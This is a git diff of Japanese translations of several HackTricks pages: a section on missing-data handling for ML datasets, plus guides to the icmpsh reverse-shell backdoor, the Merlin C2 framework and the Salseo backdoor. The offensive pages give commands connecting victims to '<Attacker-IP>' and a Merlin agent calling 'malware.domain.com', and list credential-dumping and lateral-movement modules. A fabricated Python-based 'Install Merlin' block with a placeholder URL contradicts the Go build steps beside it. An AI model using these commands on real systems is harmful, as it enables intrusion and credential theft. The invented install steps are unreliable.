データセットの**20%以上で特徴が**欠落している場合は、**列を削除することが推奨されます:** 通常、データセットの20%以上で特徴が欠落している場合、**その列は削除されるべきです:**
```bash ```bash
# Remove column # Remove column
dataset.drop('Column_name', axis='columns', inplace=True) dataset.drop('Column_name', axis='columns', inplace=True)
dataset.info() dataset.info()
``` ```
{% hint style="info" %} {% hint style="info" %}
データセットにすべての欠損値が含まれているわけではないことに注意してください。欠損値が「Unknown」、「n/a」、「」、-1、0...などの値で与えられている可能性があります。データセットをチェックし(`dataset.column`_`name.value`_`counts(dropna=False)`を使用して可能な値を確認する必要があります)。 **データセットに欠損値がすべて欠損しているわけではない**ことに注意してください。欠損値は"Unknown"、"n/a"、""、-1、0などの値が与えられている可能性があります。データセットをチェックする必要があります`dataset.column_name.value_counts(dropna=False)`を使用して可能な値を確認します)。
{% endhint %} {% endhint %}
データセットにデータが欠けている場合(それが多すぎない場合)、欠けているデータの**カテゴリーを見つける**必要があります。そのためには、欠けているデータが**ランダムかどうか**、そしてそれを知るためには、欠けているデータがデータセットの他のデータと**相関していたかどうか**を見つける必要があります。 データセットにデータが欠落している場合(それほど多くない場合)、**欠損データのカテゴリ**を見つける必要があります。基本的に、**欠損データがランダムかどうか**を知る必要があり、そのためには**欠損データが他のデータと相関しているかどうか**を見つける必要があります。
欠損値が別の列と相関しているかどうかを見つけるために、データが欠けているかどうかに応じて1と0を置く新しい列を作成し、それらの間の相関を計算できます: 欠損値が他の列と相関しているかどうかを見つけるには、データが欠落しているかどうかに応じて1と0を入れる新しい列を作成し、それらの間の相関を計算することができます:
```bash ```bash
# The closer it's to 1 or -1 the more correlated the data is # The closer it's to 1 or -1 the more correlated the data is
# Note that columns are always perfectly correlated with themselves. # Note that columns are always perfectly correlated with themselves.
dataset[['column_name', 'cloumn_missing_data']].corr() dataset[['column_name', 'cloumn_missing_data']].corr()
``` ```
欠損データを無視することにした場合でも、それに対して何をする必要があります:欠損データがある**行を削除する**ことができます(モデルのトレーニングデータが小さくなります)、**特徴を完全に削除する**ことができます、または**モデル化する**ことができます。 欠損データを無視することを決定した場合、それに対処する必要があります: 欠損データを持つ行を削除します(モデルのトレーニングデータが小さくなります)、特徴を完全に削除するか、それをモデル化することができます。
欠損している特徴とターゲット列との**相関を確認する**べきです。その特徴がターゲットにとってどれほど重要かを見るために、もし本当に**小さい**場合は、それを**削除するか、または埋める**ことができます。 欠損している特徴とターゲット列との相関関係をチェックして、その特徴がターゲットにとってどれだけ重要かを確認する必要があります。非常に小さい場合は、それを削除するか、埋めることができます。
欠損している**連続データ**を埋めるためには、**平均**、**中央値**を使用するか、**代入**アルゴリズムを使用することができます。代入アルゴリズムは、他の特徴を使用して欠損している特徴の値を見つけることができます: 欠損している連続データを埋めるためには、平均値、中央値、または代入アルゴリズムを使用できます。代入アルゴリズムは、他の特徴を使用して欠損している特徴の値を見つけようとします。
```python ```python
from sklearn.impute import KNNImputer from sklearn.impute import KNNImputer
@ -259,11 +251,11 @@ dataset_imp = pd.DataFrame(X_imp)
dataset.columns = ['column1', 'column2', 'column3'] dataset.columns = ['column1', 'column2', 'column3']
dataset.iloc[10:20] # Get some indexes that contained empty data before dataset.iloc[10:20] # Get some indexes that contained empty data before
``` ```
カテゴリカルデータを埋めるには、まず値がなぜ欠けているのかを考える必要があります。もし**ユーザーの選択**(データを提供したくなかった)によるものであれば、それを示す**新しいカテゴリを作成**することができます。もし人為的なエラーによるものであれば、**行を削除**するか、**特徴を削除**する(前に述べた手順を確認してください)、または**最も多く使用されているカテゴリであるモードで埋める**ことができます(推奨されません) カテゴリカルデータを埋めるには、まず、値が欠落している理由があるかどうかを考える必要があります。ユーザーの**選択**によるものであれば(データを提供したくなかった場合)、新しいカテゴリを作成して示すことができます。人為的なエラーによるものであれば、行または特徴量を削除するか(前述の手順を確認してください)、または最頻値で埋めることができます
# 特徴の組み合わせ # 特徴量の結合
もし**2つの特徴**が相互に**相関している**ことがわかった場合、通常はそのうちの1つターゲットとの相関が低い方を**削除**すべきですが、**組み合わせて新しい特徴を作成**することも試みることができます。 通常、**相関関係**がある**2つの特徴量**が見つかった場合、通常はそれらのうちの1つを削除するべきですターゲットとの相関が低い方を。ただし、それらを**組み合わせて新しい特徴量を作成**することもできます。
```python ```python
# Create a new feautr combining feature1 and feature2 # Create a new feautr combining feature1 and feature2
dataset['new_feature'] = dataset.column1/dataset.column2 dataset['new_feature'] = dataset.column1/dataset.column2
@ -278,14 +270,14 @@ pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], i
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する * **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -1,13 +1,13 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェック
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>

View file

@ -1,23 +1,23 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
バックドアをダウンロードする: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)からバックドアをダウンロードしてください。
# クライアント側 # クライアント側
スクリプトを実行する: **run.sh** スクリプトを実行します:**run.sh**
**エラーが発生した場合は、次の行を変更してみてください:** **エラーが発生した場合は、次の行を変更してみてください:**
```bash ```bash
@ -31,20 +31,20 @@ read IP
``` ```
# **被害者側** # **被害者側**
**icmpsh.exe** を被害者のマシンにアップロードし、実行します 被害者に**icmpsh.exe**をアップロードして実行してください
```bash ```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128 icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
``` ```
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* あなたの**会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>

View file

@ -1,21 +1,21 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
# インストール # インストール
## GOインストール ## GOインストール
``` ```
#Download GO package from: https://golang.org/dl/ #Download GO package from: https://golang.org/dl/
#Decompress the packe using: #Decompress the packe using:
@ -29,6 +29,30 @@ Add "export GOBIN=$GOPATH/bin"
source /etc/profile source /etc/profile
``` ```
## Merlinのインストール ## Merlinのインストール
Install Merlin by following these steps:
1. Clone the Merlin repository from GitHub:
```bash
git clone https://github.com/username/merlin.git
```
2. Change into the Merlin directory:
```bash
cd merlin
```
3. Install the required dependencies using pip:
```bash
pip install -r requirements.txt
```
4. Run Merlin:
```bash
python merlin.py
```
Now you have successfully installed Merlin on your system.
``` ```
go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch go get https://github.com/Ne0nd0g/merlin/tree/dev #It is recommended to use the developer branch
cd $GOPATH/src/github.com/Ne0nd0g/merlin/ cd $GOPATH/src/github.com/Ne0nd0g/merlin/
@ -37,72 +61,57 @@ cd $GOPATH/src/github.com/Ne0nd0g/merlin/
``` ```
go run cmd/merlinserver/main.go -i go run cmd/merlinserver/main.go -i
``` ```
# Merlin エージェント # マーリン エージェント
[事前にコンパイルされたエージェントをダウンロードする](https://github.com/Ne0nd0g/merlin/releases)ことができます。 [事前にコンパイルされたエージェントをダウンロード](https://github.com/Ne0nd0g/merlin/releases)できます。
## エージェントのコンパイル ## エージェントのコンパイル
メインフォルダ _$GOPATH/src/github.com/Ne0nd0g/merlin/_ に移動してください メインフォルダ _$GOPATH/src/github.com/Ne0nd0g/merlin/_ に移動します
``` ```
#User URL param to set the listener URL #User URL param to set the listener URL
make #Server and Agents of all make #Server and Agents of all
make windows #Server and Agents for Windows make windows #Server and Agents for Windows
make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips) make windows-agent URL=https://malware.domain.com:443/ #Agent for windows (arm, dll, linux, darwin, javascript, mips)
``` ```
## **エージェントの手動コンパイル** ## **マニュアルコンパイルエージェント**
``` ```
GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://10.2.0.5:443" -o agent.exe main.g
``` ```
# モジュール # モジュール
**悪いニュースは、Merlinによって使用されるすべてのモジュールがソースGithubからダウンロードされ、使用する前にディスクに保存されることです。よく知られているモジュールを使用する際は、Windows Defenderに捕まらないように注意してください** **悪いニュースは、Merlinが使用するすべてのモジュールがソースGithubからダウンロードされ、ディスクに保存されることです。よく知られたモジュールを使用する際には注意してください。Windows Defenderに検出される可能性があります**
**SafetyKatz** --> Modified Mimikatz。LSASSをファイルにダンプし、そのファイルに対して:sekurlsa::logonpasswordsを実行します\ **SafetyKatz** --> 改変されたMimikatz。LSASSをファイルにダンプして、:sekurlsa::logonpasswordsをそのファイルに実行します\
**SharpDump** --> 指定されたプロセスIDデフォルトではLSASSのminidump最終ファイルの拡張子は.gzと言われていますが、実際には.binですが、gzファイルです\ **SharpDump** --> 指定されたプロセスIDのminidumpデフォルトではLSASS最終ファイルの拡張子は.gzですが、実際には.binですが、.gzファイルです\
**SharpRoast** --> Kerberoast動作しません\ **SharpRoast** --> Kerberoast動作しません\
**SeatBelt** --> CSのローカルセキュリティテスト動作しません https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\ **SeatBelt** --> CSのローカルセキュリティテスト動作しませんhttps://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Program.cs\
**Compiler-CSharp** --> csc.exe /unsafeを使用してコンパイル\ **Compiler-CSharp** --> csc.exe /unsafeを使用してコンパイル\
**Sharp-Up** --> powerupのC#での全チェック(動作します)\ **Sharp-Up** --> PowerupでC#のすべてのチェックを実行します(動作します)\
**Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNSスプーファーおよびマンインザミドルツール(動作しません、以下をロードする必要がありますhttps://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\ **Inveigh** --> PowerShellADIDNS/LLMNR/mDNS/NBNSのスプーファーおよび中間者ツール(動作しません、読み込みが必要https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1\
**Invoke-InternalMonologue** --> 利用可能なすべてのユーザーを偽装し、各ユーザーに対してチャレンジレスポンスを取得します各ユーザーのNTLMハッシュ不正なURL\ **Invoke-InternalMonologue** --> 利用可能なすべてのユーザーを偽装し、各ユーザーのチャレンジレスポンスを取得します各ユーザーのNTLMハッシュ悪いURL\
**Invoke-PowerThIEf** --> IExplorerからフォームを盗むか、JSを実行させるか、そのプロセスにDLLを注入する動作しませんPSも動作しないようです https://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\ **Invoke-PowerThIEf** --> IExplorerからフォームを盗み出すか、JSを実行するか、そのプロセスにDLLをインジェクトします動作しませんおよびPSも動作しないようですhttps://github.com/nettitude/Invoke-PowerThIEf/blob/master/Invoke-PowerThIEf.ps1\
**LaZagneForensic** --> ブラウザのパスワードを取得(動作しますが、出力ディレクトリを印刷しません)\ **LaZagneForensic** --> ブラウザのパスワードを取得します(機能しますが、出力ディレクトリを表示しません)\
**dumpCredStore** --> Win32 Credential Manager APIhttps://github.com/zetlen/clortho/blob/master/CredMan.ps1 https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\ **dumpCredStore** --> Win32資格情報マネージャAPIhttps://github.com/zetlen/clortho/blob/master/CredMan.ps1https://www.digitalcitizen.life/credential-manager-where-windows-stores-passwords-other-login-details\
**Get-InjectedThread** --> 実行中のプロセスでのクラシックインジェクションを検出(クラシックインジェクションOpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread動作しません\ **Get-InjectedThread** --> 実行中のプロセスでクラシックインジェクションを検出しますClassic InjectionOpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread動作しません\
**Get-OSTokenInformation** --> 実行中のプロセスとスレッドのトークン情報を取得(ユーザー、グループ、権、所有者... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class\ **Get-OSTokenInformation** --> 実行中のプロセスとスレッドのトークン情報を取得します(ユーザー、グループ、権、所有者... https://docs.microsoft.com/es-es/windows/desktop/api/winnt/ne-winnt-\_token_information_class\
**Invoke-DCOM** --> DCOMを介してコマンドを実行します(他のコンピューターで)http://www.enigma0x3.net.https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\ **Invoke-DCOM** --> DCOM経由で(他のコンピューターで)コマンドを実行しますhttp://www.enigma0x3.net.https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/\
**Invoke-DCOMPowerPointPivot** --> PowerPoint COMオブジェクトを悪用して他のPCでコマンドを実行ADDin\ **Invoke-DCOMPowerPointPivot** --> PowerPoint COMオブジェクトADDinを悪用して他のPCでコマンドを実行します\
**Invoke-ExcelMacroPivot** --> ExcelのDCOMを悪用して他のPCでコマンドを実行\ **Invoke-ExcelMacroPivot** --> ExcelのDCOMを悪用して他のPCでコマンドを実行します\
**Find-ComputersWithRemoteAccessPolicies** --> 動作しませんhttps://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\ **Find-ComputersWithRemoteAccessPolicies** --> 動作しませんhttps://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/\
**Grouper** --> グループポリシーの最も興味深い部分をすべてダンプし、それらを探って悪用可能なものを見つけます。非推奨Grouper2を見てみてください、とても良さそうです\ **Grouper** --> グループポリシーの最も興味深い部分をすべてダンプし、それらを検索して攻撃可能なものを探します非推奨Grouper2を見てみてください、本当に素敵です\
**Invoke-WMILM** --> 後方移動のためのWMI\ **Invoke-WMILM** --> 横断移動のためのWMI\
**Get-GPPPassword** --> groups.xml、scheduledtasks.xml、services.xml、datasources.xmlを探し、プレーンテキストパスワードを返します(ドメイン内)\ **Get-GPPPassword** --> groups.xml、scheduledtasks.xml、services.xml、datasources.xmlを検索して平文パスワードを返します(ドメイン内)\
**Invoke-Mimikatz** --> mimikatzを使用デフォルトのクレデンシャルダンプ)\ **Invoke-Mimikatz** --> Mimikatzを使用しますデフォルトのクレデンシャルをダンプ)\
**PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\ **PowerUp** --> https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc\
**Find-BadPrivilege** --> コンピューターのユーザーの権をチェック\ **Find-BadPrivilege** --> コンピューターのユーザーの権をチェックします\
**Find-PotentiallyCrackableAccounts** --> SPNに関連付けられたユーザーアカウントに関する情報を取得Kerberoasting\ **Find-PotentiallyCrackableAccounts** --> SPNに関連付けられたユーザーアカウントに関する情報を取得しますKerberoasting\
**psgetsystem** --> getsystem **psgetsystem** --> getsystem
**続性モジュールはチェックしていません** **続性モジュールはチェックしていません**
# まとめ # 要約
このツールの感触とポテンシャルがとても気に入りました。\ このツールの感触とポテンシャルが本当に気に入っています。\
ツールがサーバーからモジュールをダウンロードし始め、スクリプトをダウンロードする際に何らかの回避策を統合することを願っています。 ツールがサーバーからモジュールをダウンロードし始め、スクリプトをダウンロードする際に回避機能を統合することを期待しています。
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションです。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -1,38 +1,38 @@
# サルセオ # Salseo
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWSレッドチームエキスパート)</strong></a><strong></strong></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックす - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 - **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
## バイナリのコンパイル ## バイナリのコンパイル
githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**がインストールされている必要があります。 GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャに合わせてコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします これらのプロジェクトを、使用するWindowsボックスのアーキテクチャにコンパイルしますWindowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします
**Visual Studio**の左側の**"Build"タブ**で**"Platform Target"**を選択して、**アーキテクチャを選択**できます。 Visual Studio内で、**左側の"Build"タブ**内の**"Platform Target"**でアーキテクチャを選択できます。
**このオプションが見つからない場合は、"Project Tab"**を押してから**"\<Project Name> Properties"**を押してください \*\*このオプションが見つからない場合は、**"Project Tab"**をクリックしてから**"\<Project Name> Properties"**をクリックします
![](<../.gitbook/assets/image (132).png>) ![](<../.gitbook/assets/image (132).png>)
次に、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます その後、両方のプロジェクトをビルドしますBuild -> Build Solutionログ内に実行可能ファイルのパスが表示されます
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>) ![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
## バックドアの準備 ## バックドアの準備
